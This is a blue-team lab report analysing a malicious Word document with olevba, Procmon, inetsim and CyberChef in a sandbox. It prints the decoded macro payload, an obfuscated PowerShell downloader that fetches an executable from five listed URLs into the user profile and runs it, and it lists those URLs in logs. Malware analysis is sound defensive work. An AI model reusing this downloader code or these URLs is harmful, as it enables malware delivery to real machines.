



# Malware Analysis

OF A WORD DOCUMENT FILE

Robert Christopherson | Blue-Team | 12.20.2022



## Overview

- Tools used
  - HxD
  - PEStudio
  - olevba.py
  - FakeDNS
  - Wireshark
  - Remnux
  - Cyber Chef
  - Fiddler
  - inetsim
  - Procmon
- Objective
  - Using a suite of tools, determine if a word document is malicious or not.
  - Perform the analysis in a contained environment for security and safety.

## Method

- Static Analysis
  - Load up a Remnux Virtual Machine and ensure the target file is on that machine.
    - The safest way to move malicious files around is in a zipped file.
  - Using HxD we can view the Word document in hexadecimal.
    - The first characters of the file are “D0 CF 11 E0”.
    - This is the unique marker for “Doc File” (Word Document File).
    - The file is a legitimate Word Doc file.

HxD - [C:\Users\IEUser\Desktop\REP\_89419812646634117.doc\REP\_89419812646634117.doc]

File Edit Search View Analysis Tools Window Help

16 Windows (ANSI) hex

REP\_89419812646634117.doc

| Offset(h) | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 0A | 0B | 0C | 0D | 0E | 0F | Decoded text    |
|-----------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|-----------------|
| 00000000  | D0 | CF | 11 | E0 | A1 | B1 | 1A | E1 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | Đĩ.à;±.á.....   |
| 00000010  | 00 | 00 | 00 | E0 | 01 | B1 | 00 | 00 | 3E | 00 | 03 | 00 | FE | FF | 09 | 00 | .....>...py..   |
| 00000020  | 06 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 04 | 00 | 04 | 00 | 00 | .....           |
| 00000030  | D3 | 01 | 00 | 00 | 00 | 00 | 00 | 00 | 10 | 00 | 00 | D2 | 01 | 00 | 00 | 00 | Ó.....ô.        |
| 00000040  | 02 | 00 | 00 | 00 | FE | FF | FF | FF | 00 | 00 | 00 | 79 | 01 | 00 | 00 | 00 | .....pyyy...y.. |
| 00000050  | 73 | 01 | 00 | 00 | 00 | 01 | 00 | 00 | D1 | 01 | 00 | 00 | FE | FF | FF | FF | ...đ.ũ.....     |

- Using PEStudio in our initial assessment we can view artifacts of any executables such as macros.
  - Receiving 12 indicators we can dig deeper
- Running olevba.py against the file returns suspicious actions.
  - The file will autorun macros at open

- It appears that the script will attempt to open a system command such as CMD in hidden mode and immediately try to run its payload.

```

0 quposixcu
+-----+-----+-----+
|Type|Keyword|Description|
+-----+-----+-----+
|AutoExec|Document_open|Runs when the Word or Publisher document is|
|opened|
|Suspicious|Create|May execute file or a system command through|
|WMI|
|Suspicious|showwindow|May hide the application|
|Suspicious|GetObject|May get an OLE object with a running instance|
|Suspicious|Chr|May attempt to obfuscate specific strings|
|(use option --deobf to deobfuscate)|
|Suspicious|ChrW|May attempt to obfuscate specific strings|
|(use option --deobf to deobfuscate)|
|Suspicious|Hex Strings|Hex-encoded strings were detected, may be|
|used to obfuscate strings (option --decode to|
|see all)|
|Suspicious|Base64 Strings|Base64-encoded strings were detected, may be|
|used to obfuscate strings (option --decode to|
|see all)|
+-----+-----+-----+
remnux@remnux: ~/Documents$ 
remnux@remnux: ~/Documents

```

- Dynamic Analysis
  - Set up and configured a Windows 10 Virtual Machine to run the malware on.
    - Installed Procmon, Wireshark and fiddler to catch the processes and traffic created from executing the malware.
  - Ensure that your virtual machines are first fully sandboxed and not connected to any external network interfaces.
  - For this lab, I set up inetsim and FakeDNS to simulate a real network connection.
  - Execute the malware on the Windows VM.
  - Immediately we see a CMD window open then disappear.
    - Confirmed by Procmon as we can see a PowerShell process created.

|                         |                      |                        |                       |                  |                       |                     |                     |
|-------------------------|----------------------|------------------------|-----------------------|------------------|-----------------------|---------------------|---------------------|
| UHost.exe (4332)        | COM Surrogate        | C:\Windows\sys...      | Microsoft Corporat... | NT AUTHORITY\... | C:\Windows\sys...     | 12/17/2022 4:11:... | 12/17/2022 4:11:... |
| DllHost.exe (7808)      | COM Surrogate        | C:\Windows\sys...      | Microsoft Corporat... | MSEDGWIN10\...   | C:\Windows\sys...     | 12/17/2022 4:11:... | 12/17/2022 4:11:... |
| wmpirvse.exe (10060)    | WMI Provider Host    | C:\Windows\sys...      | Microsoft Corporat... | NT AUTHORITY\... | C:\Windows\sys...     | 12/17/2022 4:11:... | n/a                 |
| wmpirvse.exe (4840)     | WMI Provider Host    | C:\Windows\sys...      | Microsoft Corporat... | NT AUTHORITY\... | C:\Windows\sys...     | 12/17/2022 4:12:... | 12/17/2022 4:13:... |
| Powershell.exe (1084)   | Windows PowerS...    | C:\Windows\Syst...     | Microsoft Corporat... | MSEDGWIN10\...   | Powershell -w hid...  | 12/17/2022 4:12:... | 12/17/2022 4:12:... |
| Conhost.exe (141)       | Console Window       | C:\Windows\Syst...     | Microsoft Corporat... | MSEDGWIN10\...   | ??C:\Windows\...      | 12/17/2022 4:12:... | 12/17/2022 4:12:... |
| FileCoAuth.exe (4052)   | Microsoft OneDirv... | C:\Program Files (...) | Microsoft Corporat... | MSEDGWIN10\...   | "C:\Program Files ... | 12/17/2022 4:12:... | 12/17/2022 4:12:... |
| DllHost.exe (2476)      | COM Surrogate        | C:\Windows\sys...      | Microsoft Corporat... | MSEDGWIN10\...   | C:\Windows\sys...     | 12/17/2022 4:12:... | 12/17/2022 4:12:... |
| backgroundTaskHost.exe  | Background Task...   | C:\Windows\sys...      | Microsoft Corporat... | MSEDGWIN10\...   | "C:\Windows\sys...    | 12/17/2022 4:12:... | 12/17/2022 4:13:... |
| RuntimeBroker.exe (499) | Runtime Broker       | C:\Windows\Syst...     | Microsoft Corporat... | MSEDGWIN10\...   | C:\Windows\Syst...    | 12/17/2022 4:12:... | 12/17/2022 4:14:... |
| DllHost.exe (8388)      | COM Surrogate        | C:\Windows\sys...      | Microsoft Corporat... | MSEDGWIN10\...   | C:\Windows\sys...     | 12/17/2022 4:13:... | 12/17/2022 4:13:... |

- Reports from inetsim, Wireshark and fiddler all confirm the malware was attempting to access 5 malicious sites with the visible DNS queries.
  - amelano.net
  - 911concepts.com
  - anyonschoools.com
  - beech.org
  - fireelabo.com

```
remnux@remnux:~$ sudo cat /var/log/inetsim/report/report.66282.txt
=== Report for session '66282' ===

Real start date      : 2022-12-17 19:11:45
Simulated start date : 2022-12-17 19:11:45
Time difference on startup : none

2022-12-17 19:12:14 First simulated date in log file
2022-12-17 19:12:14 HTTP connection, method: GET, URL: http://amelano.net/wp-includes/css/dist/2ew/
file name: /var/lib/inetsim/http/fakefiles/sample.html
2022-12-17 19:12:14 HTTP connection, method: GET, URL: http://911concept.com/images/i6ngX5/
file name: /var/lib/inetsim/http/fakefiles/sample.html
2022-12-17 19:12:14 HTTP connection, method: GET, URL: http://ayonschools.com/UBkoqn/, file name: /var/lib/inetsim/http/fakefiles/sample.html
2022-12-17 19:12:14 HTTP connection, method: GET, URL: http://beech.org/wayne/lldo/, file name: /var/lib/inetsim/http/fakefiles/sample.html
2022-12-17 19:12:14 HTTP connection, method: GET, URL: http://firelabo.com/wp-includes/mf6f4/, file name: /var/lib/inetsim/http/fakefiles/sample.html
2022-12-17 19:12:14 Last simulated date in log file

remnux@remnux:~$
```

From Base64

Alphabet  
A-Za-z0-9+/=

☒ Remove non-alphabet chars ☐ Strict mode

Split

Split delimiter  
;

Join delimiter  
\n

Split

Split delimiter  
.

Join delimiter

Regular expression

Built in regexes  
URL

Regex

☒ Case insensitive ☒ match at newlines ☐ Dot matches all ☐ Unicode support ☐ Astral support ☐ Display total

Output format  
Highlight matc...

STEP

BAKE!

Auto Bake

HTABAbzAGMAYgBuAHUAZAARcALgB1AHgAZQAnADsAJABUAGGadQBwAGEAbwB1AG4AegBUAGMAYgA9ACcARwB3AGMAZwB3AGUAZQBtAGcAZgAnADsAJABSAHQAZwBsAHAaagB1AHUAbAA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnACBAJwArACcAbwB1AGoAZQBjAHQAjwApACAAATgBFaFQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQAWQ86AHUAZABqAGYAbQBBrAHKAPQAnAGGadAB0AHAA0gAvAC8AYQBtAGUAbABhAG4AbwAUAG4AZQB8AC8AdwBwAC8AAQ8uAGMAbAB1AGQAZQBZAC8AYwBzAHMALwBKAAGAcwB0AC8AMGB1AHCLwAqAGgAdAB0AHAA0gAvAC8AQAXdEAyYwBvAG4AYwB1AHAdAAUuAGMAbWBTAC8AAQbtAGEAZwB1AHMALwBpADYAbgBnAFgAHQAVAcOAAAB0AHQAACAA6AC8ALwBhAHKAbwBuAHMAyYwBoAG8ABwBsAHMALgBjAG8ABQAVAFUAQgBBrAG8ACQBwAC8AKBoAHQAdABwADoALwAvAGIAZQB1AGHMAaAAuAG8ACgBnAC8AdwBhAHKAbgB1AC8ABABsAGQABwAvACoAAAB0AHQAACAA6AC8ALwBMAgKACgB1AGwAYQBjAG8BALgBjAG8ABQAVAHcACAATAGKAbgBjAGwAdQBKAGUAcwAvAG8AZgZAGYANAAvACcALgA1AFMAYABQAEwAaQB0ACTAKAAnACoAJwApADsAJABDAHcACABYAGoAAABjAG8ABZQBMA0B0AJwBAAgCAZgBzAHIAcQB8SAHQAZgBqAGcAZgAnADsAZgBvBHIAZQBhAGMAAaAocAQAugBMAHGAdbmAHcAdwBvAGMAeQBjAHcAdwAGAGKAbgAGcAQAWQ86AHUAZABqAGYAbQBrAHKAKQB7AHQAcb8SAHsAJABSAHQAZwBsAHAaagB1AHUAbAAuACIAZABPAHCAYABOAEwAYABPAGEAZABGAGAAaQBMAEU1gAoACQAUgBMAHGAdbgBMAHcAdwBvAGMAeQBjAHcAdwASACAAJABQAHEAeBgVAHEAeABzAGYAaQAPADsAJABUAGcABgB0AGEAbwBuAHAAABQB1AHgAAQ9ACcAwQBwAGYAYQbzAGcAaABwAHKAbAB1AHEAJwA7AEkAZgAgACAKAAuACgAJwBHAGUAdAAncsAJwATAEKAdAB1ACcAKwAnAG8AJwApACAAJABQAHEAeBgVAHEAeABZAGYAaQAPADsAJABUAGYABOAEcAdABIACTIAIAATAGcAZQAgADIANQA4ADUAQAPACAAewBBAEQAaQBhAGcABgBvAHMAdbABpAGMAcwAUAFACgBvAGMAZQBzAHMMAQXQ6ADoAIgBTAGAAVABBAFIAVAA1ACgAJABQAHEAeBgVAHEAeABzAGYAaQAPADsAJABTAHEAawBrAG4ABwB3AGEAdwA9ACcASQBqAHUAYgB2AGoABQ8KAHoAcQBKACCA0wB1AHIAZQBhAGsA0wAKAEeAbwB1AGgAYgBuAGsAAABqAGoAdAA9ACcAMABxAGcAYgBvAG

start: 733  
end: 733  
length: 1548  
length: 0

time: 1ms  
length: 1548  
lines: 14

Output

\$Whhvdxbqwlkf='Aokjsvngrlkdk'  
\$Dabwgrlscbnud = '267'  
\$WislXngymk='Hfrdazjuncjbp'  
\$Pqzoqxfi-\$env:userprofile+'\'+'\$Dabwgrlscbnud+'.exe'  
\$Thupaobnznbc='Gwcgweemgf'  
\$Rtg1pjb1l=&('n'+ew+'-'+'object') NET.WEBCLIENT  
\$Yzudjfmky='http://amelano.net/wp-includes/css/dist/2ew/\*http://911concept.com/images/i6ngX5/\*http://ayonschools.com/UBkoqn/\*http://beech.org/wayne/lldo/\*http://firelabo.com/wp-includes/mf6f4/\*"S"PLit('\*')  
\$Cwprjhcoef='Zgfsrqyfyjgf'  
foreach(\$Rfxvfwuocycw in \$Yzudjfmky)  
{try{\$Rtg1pjb1l."d0w"NL"OadF"iLE"}(\$Rfxvfwuocycw, \$Pqzoqxfi)  
\$Tgnhaonpmxi="Ypfasghpyluq"  
If ((.('Get'+-Ite'+m') \$Pqzoqxfi)."Le"NGth" -ge 25859)  
{[Diagnostics.Process]::"S"tart}(\$Pqzoqxfi)  
\$Sqkknowaw='Ijubvmjdzqd'  
break  
\$Aoehbnkhjtt='Xagbojvcyx'}}catch{}\$Qkdedppkxkzko='Uiyaamimux'

PAGE 3

- Using CyberChef to decode the Base64 code that was contained within the malware we can see all 5 of these sites listed in the code.

## Conclusion

- This Word document was an initial attack via a phishing attempt that once executed would call out to multiple servers
- Presumably this would download and execute more payloads.
- We did not see any attempts at data exfiltration.

## Resources

- [pestudio](#)
- [HxD](#)
- [olevba.py](#)
- [FakeDNS](#)
- [Wireshark](#)
- [Remnux](#)
- [Cyber Chef](#)
- [Fiddler](#)
- [inetsim](#)
- [Procmon](#)